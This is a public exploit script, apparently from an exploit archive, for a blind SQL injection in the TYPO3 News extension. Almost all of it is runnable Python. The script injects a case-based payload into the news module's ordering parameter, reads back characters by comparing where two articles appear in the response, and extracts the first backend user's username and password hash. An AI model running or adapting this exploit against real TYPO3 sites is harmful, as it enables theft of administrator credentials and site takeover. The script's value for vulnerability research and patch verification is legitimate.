1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# Exploit Title: TYPO3 News Module SQL Injection # Vendor Homepage: https://typo3.org/extensions/repository/view/news # Exploit Author: Charles FOL # Contact: https://twitter.com/ambionics # Website: https://www.ambionics.io/blog/typo3-news-module-sqli #!/usr/bin/python3 # TYPO3 News Module SQL Injection Exploit # https://www.ambionics.io/blog/typo3-news-module-sqli # cf # # The injection algorithm is not optimized, this is just meant to be a POC. # import requests import string session = requests.Session() session.proxies = {'http': 'localhost:8080'} # Change this URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1' PATTERN0 = 'Article #1' PATTERN1 = 'Article #2' FULL_CHARSET = string.ascii_letters + string.digits + '$./' def blind(field, table, condition, charset): # We add 9 so that the result has two digits # If the length is superior to 100-9 it won't work size = blind_size( 'length(%s)+9' % field, table, condition, 2, string.digits ) size = int(size) - 9 data = blind_size( field, table, condition, size, charset ) return data def select_position(field, table, condition, position, char): payload = 'select(%s)from(%s)where(%s)' % ( field, table, condition ) payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position) payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % ( payload, ord(char) ) return payload def blind_size(field, table, condition, size, charset): string = '' for position in range(size): for char in charset: payload = select_position(field, table, condition, position+1, char) if test(payload): string += char print(string) break else: raise ValueError('Char was not found') return string def test(payload): response = session.post( URL, data=data(payload) ) response = response.text return response.index(PATTERN0) < response.index(PATTERN1) def data(payload): return { 'tx_news_pi1[overwriteDemand][order]': payload, 'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload, 'tx_news_pi1[search][subject]': '', 'tx_news_pi1[search][minimumDate]': '2016-01-01', 'tx_news_pi1[search][maximumDate]': '2016-12-31', } # Exploit print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters)) print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET)) |